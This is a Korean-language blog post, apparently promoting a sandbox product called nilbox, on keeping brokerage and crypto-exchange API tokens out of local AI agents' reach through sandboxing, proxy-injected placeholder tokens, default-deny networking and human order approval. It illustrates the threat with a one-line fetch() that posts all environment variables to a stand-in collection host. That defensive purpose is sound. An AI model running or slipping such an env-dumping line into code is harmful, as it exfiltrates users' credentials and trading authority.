AI 에이전트에 증권사 API 키를 직접 입력해서는 안 되는 이유와 4가지 보안 경계 설정 방법

LLM 키가 유출되면 비용 청구가 발생합니다. 하지만 거래 토큰(trading token)이 유출되면 실제 주문이 발생할 수 있습니다. 이 단 하나의 차이점이 OpenClaw, Hermes, 그리고 Alpaca, Interactive Brokers, Tradier, Coinbase, Kraken 또는 포트폴리오에 접근할 수 있는 기타 모든 API에 연결된 모든 로컬 AI 에이전트(local AI agent)의 보안 모델을 완전히 바꿔 놓습니다. 에이전트는 더 이상 단순히 코드를 작성하는 로컬 어시스턴트가 아닙니다. 에이전트는 계정 데이터, 잔액, 포지션, 주문 티켓, 취소 흐름, 그리고 크립토(crypto)의 경우 24/7 실행 권한 근처에 위치하게 됩니다.

따라서 진짜 질문은 "모델이 좋은 거래를 선택할 수 있는가?"가 아닙니다. 첫 번째 질문은 이것입니다: "어떻게 하면 AI 에이전트가 거래를 직접 수행할 수 있는 토큰을 보유하게 하지 않으면서, 거래를 도울 수 있게 할 것인가?" 저의 답변은 간단합니다: 실제 거래 토큰을 에이전트 내부에 넣지 마십시오. 에이전트가 이를 신중하게 처리할 것이라고 믿지 마십시오. 에이전트, 플러그인(plugin), 스킬(skill), 또는 MCP 서버가 침해되더라도 훔쳐갈 실제 거래 토큰이 그곳에 없도록 런타임(runtime)을 설계하십시오.

해답: 실거래 전 구축해야 할 4가지 경계

만약 OpenClaw나 Hermes를 증권사 또는 비트코인 거래 워크플로우 근처에서 사용하고 싶다면, 다음 네 가지 경계부터 시작하십시오.

1. 실행 경계 (Execution boundary): 에이전트, 플러그인, 스킬, 패키지 설치 및 MCP 서버는 오직 격리된 환경(isolated environment) 내부에서만 실행됩니다.
2. 토큰 경계 (Token boundary): 실제 증권사 또는 거래소 토큰은 에이전트 프로세스 내부에 절대 존재하지 않습니다.
3. 네트워크 경계 (Network boundary): 아웃바운드 트래픽(outbound traffic)은 기본적으로 차단되며, 승인된 LLM, 증권사 및 거래소 엔드포인트(endpoint)만이 경계 프록시(boundary proxy)를 통해 허용됩니다.
4. 주문 경계 (Order boundary): 에이전트는 주문을 제안하며, 사람 또는 별도의 승인 정책이 실행을 승인합니다.

이러한 경계가 있다면, 잘못된 플러그인이나 혼란을 겪는 모델이 시간을 낭비할 수는 있어도, 비밀 정보를 유출하거나 계정 데이터를 인터넷에 뿌리거나, 스스로 실거래 주문을 넣을 수는 없습니다. 이러한 경계가 없다면, 생성된 코드와 금융 권한이 같은 방에 머물게 됩니다. 바로 그 부분을 수정해야 합니다.

이 문제가 시급해진 이유
로컬 AI 에이전트는 거래 워크플로우에 너무나도 잘 들어맞습니다.

이들은 장 전 뉴스 요약, 공시 및 실적 발표 자료(earnings notes) 읽기, 관심 종목(watchlists) 스캔, 전략 코드 작성, 백테스트(backtests) 실행, 포트폴리오 점검, 그리고 주문 후보(order candidate) 생성 등을 수행할 수 있습니다. API를 지원하는 브로커(brokers)는 이미 존재하며, 암호화폐 거래소(crypto exchanges) 또한 성숙한 거래 API를 갖추고 있습니다. OpenClaw는 로컬 도구(local tools)를 실행할 수 있고, Hermes는 반복되는 워크플로우를 재사용 가능한 기술(skills)과 메모리(memory)로 전환할 수 있습니다. 개발자에게 워크플로우는 명확합니다: 뉴스 -> 스크리닝(screening) -> 전략 코드 -> 계정 조회 -> 주문 후보. 따라서 첫 번째 프로토타입은 종종 다음과 같은 .env 파일로 시작됩니다:

ALPACA_API_KEY = ...
ALPACA_SECRET_KEY = ...
TRADIER_ACCESS_TOKEN = ...
IBKR_SESSION_TOKEN = ...
COINBASE_API_KEY = ...
COINBASE_API_SECRET = ...
KRAKEN_API_KEY = ...
KRAKEN_PRIVATE_KEY = ...

그다음 동일한 셸(shell)에서 OpenClaw 또는 Hermes가 실행됩니다. 바로 이 순간, 유용한 거래 어시스턴트가 보안 문제로 변모합니다. 실험을 용이하게 만드는 바로 그 환경이 생성된 코드, 설치된 패키지, MCP 서버, 그리고 디버깅 스크립트(debugging scripts)가 자격 증명(credentials)에 접근할 수 있는 경로를 제공하기 때문입니다.

핵심 문제는 AI가 틀릴 수도 있다는 것이 아닙니다
대부분의 사람들은 AI 트레이딩 리스크를 다음과 같이 정의합니다: '모델이 잘못된 거래를 하면 어떡하지?' 이는 중요한 문제이지만, 첫 번째 보안 문제는 아닙니다. 첫 번째 보안 문제는 실행 권한(execution authority)이 어디에 있느냐 하는 것입니다. OpenClaw, Hermes, Claude Code, Cursor, 그리고 MCP 기반 도구들은 단순히 질문에 답만 하는 것이 아닙니다. 이들은 파일을 생성하고, 패키지를 설치하며, 셸 명령(shell commands)을 실행하고, 도구를 호출하며, 외부 서비스에 연결합니다. 트레이딩 설정에서 사용자는 자연스럽게 다음과 같은 요청을 하게 됩니다:

"Alpaca API 예제를 찾아서 이 전략에 연결해줘."
"Tradier 주문 플러그인을 만들어줘."
"이 포트폴리오 스크립트를 위한 Interactive Brokers 어댑터(adapter)를 작성해줘."
"이 GitHub 저장소의 암호화폐 거래 기술을 설치해줘."
"비트코인 실행 MCP 서버를 추가해줘."
"이것을 백테스트하고 실시간 주문에 연결해줘."

이러한 요청들은 매우 유용합니다.

이러한 요청들은 모두 동일한 보안 이벤트의 변형입니다. 즉, 내 권한을 사용하여 내 머신에서 모델이나 인터넷으로부터 코드를 실행하며, 내 계정에 영향을 미칠 수 있는 토큰(Token) 옆에서 실행하는 것입니다. 따라서 문제는 AI가 똑똑한지 여부가 아닙니다. 문제는 'AI가 실패했을 때, AI가 여전히 무엇을 건드릴 수 있는가?'입니다.

금융 에이전트에게 .env가 부적절한 이유

일반적인 애플리케이션 개발에서 .env는 편리합니다. 빠르고 익숙하며, 대부분의 API 예제에서 이를 사용합니다. 하지만 로컬 AI 에이전트에게 이는 범위가 너무 넓습니다. 환경 변수(Environment variables)는 프로세스와 그 자식 프로세스가 읽기에 너무 쉽습니다. 에이전트가 생성한 스크립트, 설치된 패키지, MCP 서버, 그리고 일회성 디버깅 코드가 모두 동일한 값에 접근하게 될 수 있습니다. 악성 코드는 정교한 익스플로잇(Exploit)을 필요로 하지 않습니다.

console.log(process.env);

또는 더 조용하게:

await fetch("https://example.invalid/collect", { method: "POST", body: JSON.stringify(process.env) });

만약 LLM 키가 이런 방식으로 유출된다면, 고통스러운 청구서를 받게 될 수 있습니다. 만약 증권사나 거래소 토큰이 이런 방식으로 유출된다면, 노출 범위에는 잔액, 포지션(Positions), 매매 전략, 그리고 주문 권한이 포함될 수 있습니다. 비트코인의 경우 위험은 더욱 날카롭습니다. 시장은 하루 종일 돌아가고, 주문은 즉시 실행되며, 범위가 잘못 설정된 거래소 자격 증명에는 출금 권한까지 포함될 수 있기 때문입니다.

거래용 토큰(Trading tokens)은 앱 설정이 아닙니다. 거래용 토큰은 다른 환경 변수처럼 보일 수 있지만, 실제로는 포트폴리오 데이터와 실행으로 들어가는 진입점입니다. 코드를 설치하고 실행하는 AI 에이전트 런타임(Runtime)에서, 이를 일반적인 개발자용 API 키처럼 취급해서는 안 됩니다.

별도의 머신을 사용하는 것은 토큰 문제를 해결하지 못함

에이전트를 여분의 노트북, Mac mini, NAS 또는 저렴한 클라우드 박스에서 실행하는 것이 더 안전하게 느껴질 수 있습니다. 이는 에이전트를 사용자의 메인 노트북과 분리해 줍니다. 이는 한 종류의 피해, 즉 에이전트가 사용자의 개인 파일에 접근할 가능성을 낮추는 데는 도움이 됩니다. 하지만 거래용 토큰 문제는 해결하지 못합니다.

만약 분리된 머신(separate machine)에 실제 Alpaca, Interactive Brokers, Tradier, Coinbase, Kraken 또는 Binance 스타일의 토큰이 들어 있고, 에이전트가 해당 머신에 플러그인을 설치하고 생성된 코드를 실행한다면 핵심적인 문제는 여전히 남아 있습니다. 위험을 다른 상자로 옮겼을 뿐, 새로운 신뢰 도메인 (trust domain)을 생성한 것이 아니기 때문입니다. 이제 질문의 방향이 달라져야 합니다: 에이전트가 실제 거래 토큰을 읽을 수 있는가? 생성된 코드가 알 수 없는 서버로 계정 데이터를 전송할 수 있는가? 모의 거래 (paper trading)가 실거래 (live trading)와 분리되어 있는가? 비트코인 거래 권한이 출금 권한과 분리되어 있는가? 사람이 최종 주문 API 호출을 승인하는가? 어떤 도구가 어떤 주문 후보를 생성했는지 감사 (audit)할 수 있는가? 금융 에이전트에게는 위치(location)만으로는 충분하지 않습니다. 권한 (authority)이 분할되어야 합니다.

실제로 적합한 아키텍처 (The Architecture That Actually Fits)

더 안전한 로컬 거래 어시스턴트는 시스템을 다음과 같이 분리합니다:

영역 (Area)	역할 (Role)	실제 토큰 접근 (Real token access)
AI 에이전트 샌드박스 (AI agent sandbox)	연구, 전략 코드, 백테스트 (backtests), 주문 후보 생성	아니요 (No)
거래 어댑터 (Trading adapter)	Alpaca, IBKR, Tradier, Coinbase, Kraken 등을 위한 요청 구성	아니요, 또는 플레이스홀더 (placeholders)만 허용
경계 프록시 (Boundary proxy)	승인된 API 허용, 실제 토큰 주입, 로그 기록	예 (Yes)
승인 단계 (Approval step)	주문 후보, 금액, 심볼, 타이밍 및 리스크 한도 검토	-
실행 승인 (Execution approval)	-	-
감사 로그 (Audit log)	무엇이, 왜, 언제, 어떤 도구를 통해 요청되었는지 기록	토큰을 절대 저장하지 않음 (Never stores tokens)

이렇게 한다고 해서 에이전트의 유용성이 떨어지는 것은 아닙니다. 에이전트는 여전히 연구 내용을 읽고, 코드를 작성하며, 포지션을 요약하고, 거래를 제안할 수 있습니다. 변하는 것은 권한입니다. 에이전트는 더 이상 최종적인 금융 실행 능력을 소유하지 않습니다.

1. 샌드박스 (Sandbox) 내부에서 에이전트 실행하기

OpenClaw나 Hermes는 사용자의 홈 디렉토리 전체, SSH 키, 브라우저 프로필, 비밀번호 관리자 내보내기 파일 또는 개인 문서가 필요하지 않습니다. 거래 워크플로우를 위해 일반적으로 전략 코드, 데이터 및 생성된 보고서를 위한 하나의 작업 디렉토리만 필요합니다. 더 나은 기본 설정은 다음과 같습니다: 에이전트를 VM(가상 머신)급 샌드박스 내부에서 실행하십시오. 호스트 파일 시스템을 기본적으로 보이지 않게 설정하고, 에이전트가 필요로 하는 특정 전략 또는 데이터 디렉토리만 매핑하십시오.

플러그인(plugins), 스킬(skills), 패키지(packages) 및 MCP 서버를 샌드박스(sandbox) 내부에 설치하십시오. 환경이 이상하게 작동한다면, 해당 환경을 폐기하고 새로운 환경을 시작하십시오. 이는 악의적인 스킬(malicious skill)이 볼 수 없는 파일은 훔칠 수 없기 때문에 작동합니다. "권한을 주의 깊게 관리하라"는 말은 호스트의 나머지 부분을 에이전트의 세계에서 아예 없애버리는 것보다 약한 조치입니다.

2. 실제 토큰을 에이전트 외부에 유지하십시오
   이것이 가장 중요한 경계입니다. 금융 토큰(financial tokens)은 에이전트의 환경 변수(environment variables), 설정 파일(config files), 로컬 데이터베이스(local databases), 노트북(notebooks) 또는 로그(logs)에 존재해서는 안 됩니다. 에이전트가 요청을 구성해야 할 수도 있지만, 실제 비밀 키(real secret)를 읽을 수는 없어야 합니다. 에이전트 내부에는 다음과 같이 플레이스홀더(placeholders)를 사용하십시오:

ALPACA_API_KEY = ALPACA_API_KEY
ALPACA_SECRET_KEY = ALPACA_SECRET_KEY
COINBASE_API_KEY = COINBASE_API_KEY
KRAKEN_API_KEY = KRAKEN_API_KEY

에이전트는 다음과 같이 정상적으로 보이는 요청을 생성합니다:
Authorization: Bearer ALPACA_API_KEY

실제 치환은 샌드박스 외부의 경계 프록시(boundary proxy)에서 일어납니다. 에이전트의 세계에는 플레이스홀더만 포함됩니다. 만약 악의적인 스킬이 환경 변수를 덤프(dump)하더라도, 거래에 사용할 수 없는 문자열만 얻게 됩니다. nilbox는 이 패턴을 제로 토큰 아키텍처(Zero Token Architecture)라고 부르지만, 이름보다 원칙이 더 중요합니다: 토큰을 더 잘 숨기려 하지 마십시오. 신뢰할 수 없는 실행 환경에서 실제 토큰을 제거하십시오.

3. 네트워크를 기본 거부(Default-Deny) 방식으로 설정하십시오
   토큰을 에이전트 외부에 두는 것은 필요하지만 충분하지는 않습니다. 계좌 스냅샷(account snapshots), 전략 파일(strategy files), 주문 후보(order candidates) 및 실행 로그(execution logs)는 토큰 없이도 유출될 수 있습니다. 네트워크 정책은 단순하고 엄격해야 합니다: 기본적으로 모든 외부 연결(outbound connections)을 차단하십시오. 명시적인 LLM 엔드포인트(endpoints), 증권사 엔드포인트 및 거래소 엔드포인트만 허용하십시오. 모든 외부 요청은 반드시 경계 프록시(boundary proxy)를 통하도록 강제하십시오. 목적지, 메서드(method), 시간, 도구 이름, 그리고 해당 요청이 주문 관련인지 여부를 기록하십시오. 에이전트가 알 수 없는 도메인에 접속하려고 하면 차단(fail closed)하십시오. 핵심은 에이전트를 사용 불가능하게 만드는 것이 아닙니다. 워크플로(workflow)에 필요한 것만 허용하고 그 외의 모든 것을 거부하는 것입니다.

금융 자동화(financial automation)를 위해 기본적으로 모든 네트워크를 허용(default-allow)하는 설정은 잘못된 기본값입니다.

4. 에이전트가 주문을 실행하는 대신 제안하게 하십시오: 완전 자율 거래(fully autonomous trading)는 유혹적입니다. 하지만 범용 에이전트(general-purpose agent)를 위한 첫 번째 버전으로는 잘못된 접근입니다. 주문 제안(order proposals)부터 시작하십시오. 에이전트는 주문 후보(order candidate)를 생성합니다. 이 후보에는 종목(symbol), 매매 방향(side), 수량(quantity), 주문 유형(order type), 가격 또는 지정가(price or limit), 근거(rationale), 그리고 최대 예상 손실(maximum expected loss)이 포함됩니다. 비트코인(Bitcoin)의 경우, 거래소(venue), 페어(pair), 수수료 추정치(fee estimate), 슬리피지 가정(slippage assumption), 그리고 출금 권한이 비활성화되었는지에 대한 확인 사항을 포함해야 합니다. 사람이 이 주문을 검토하고 승인합니다. 승인된 주문만이 경계 프록시(boundary proxy)를 통해 전달됩니다. 대규모 주문, 비정상적인 규모, 장외 주식 거래, 그리고 변동성이 큰 암호화폐(crypto) 조건은 추가적인 확인이 필요합니다. 이는 AI 워크플로(workflow)의 유용한 부분, 즉 더 빠른 조사, 더 명확한 제안, 더 적은 반복적 글루 코드(glue code)를 보존합니다. 동시에 위험한 부분, 즉 범용 에이전트에게 실시간 실행에 대한 직접적인 최종 권한을 부여하는 것을 제거합니다.

실행 체크리스트: AI 에이전트를 금융 API에 연결하기 전에 다음 체크리스트를 통과하십시오.

• 페이퍼 트레이딩(paper trading), 샌드박스(sandbox) 계정 또는 읽기 전용 자격 증명(read-only credentials)으로 시작하십시오.
• 실제 증권사나 거래소의 토큰(token)을 에이전트 런타임(runtime) 내부에 두지 마십시오.
• 비밀 정보(secrets)를 .env, 셸 히스토리(shell history), 로그(logs), 노트북(notebooks) 및 생성된 파일에 남기지 마십시오.
• 에이전트의 작업 디렉토리를 하나로 제한하십시오.
• 플러그인(plugins), 스킬(skills), MCP 서버는 샌드박스 내부에서만 설치하십시오.
• 외부 네트워킹은 기본적으로 거부(default-deny)하고 필요한 목적지만 허용하십시오.
• 주문 API 호출은 반드시 경계 프록시(boundary proxy)를 통해서만 보내십시오.
• 실시간 주문 전에 반드시 사람의 승인을 요구하십시오.
• 명목 가치(notional value), 주문 횟수, 종목, 전략 범위에 대한 일일 한도를 설정하십시오.
• 거래 API 키에서 암호화폐 출금 권한을 비활성화하십시오.
• 실제 운영에 들어가기 전 토큰 취소(revocation) 및 순환(rotation) 절차를 문서화하십시오.

처음 두 항목이 가장 중요합니다. 페이퍼 트레이딩 단계에서 아키텍처(architecture)가 잘못되었다면, 동일한 결함이 실시간 거래까지 따라올 것입니다.

nilbox에 대하여: nilbox는 이 이야기의 주인공이 아닙니다.

주인공은 AI가 생성한 코드와 금융 권한 사이의 경계입니다. nilbox는 그 경계를 로컬에서 구현하는 한 가지 방법입니다. nilbox는 VM(가상 머신) 기반의 샌드박스 (sandbox) 내부에서 에이전트 (agent)와 MCP 서버를 실행하며, 기본적으로 호스트 파일 시스템을 숨기고, 제로 토큰 아키텍처 (Zero Token Architecture)를 통해 실제 토큰을 샌드박스 외부에 유지하며, 제어 가능한 경계를 통해 네트워크 액세스를 라우팅합니다. 즉, nilbox가 해결하려는 문제는 "AI의 트레이딩 능력을 향상시키는 것"이 아닙니다. 그보다 더 좁고 중요한 문제입니다. AI 에이전트에 의해 생성되거나 설치된 코드를 거래가 가능한 토큰과 동일한 신뢰 도메인 (trust domain)에 두지 마십시오. nilbox를 사용하거나, 직접 VM 및 프록시 (proxy) 설정을 구축하거나, 다른 강화된 런타임 (hardened runtime)을 사용하십시오. 결론은 같습니다. 계정을 연결하기 전에 경계를 설계하십시오. 로컬 AI 에이전트는 트레이딩 워크플로우 (trading workflow)에 자연스럽게 부합합니다. 이들은 리서치를 읽고, 전략 코드를 작성하며, 백테스트 (backtest)를 실행하고, 포트폴리오를 요약하며, 주문 후보를 준비할 수 있습니다. 하지만 증권사나 거래소의 API가 루프 (loop)에 들어오는 순간, 시스템은 더 이상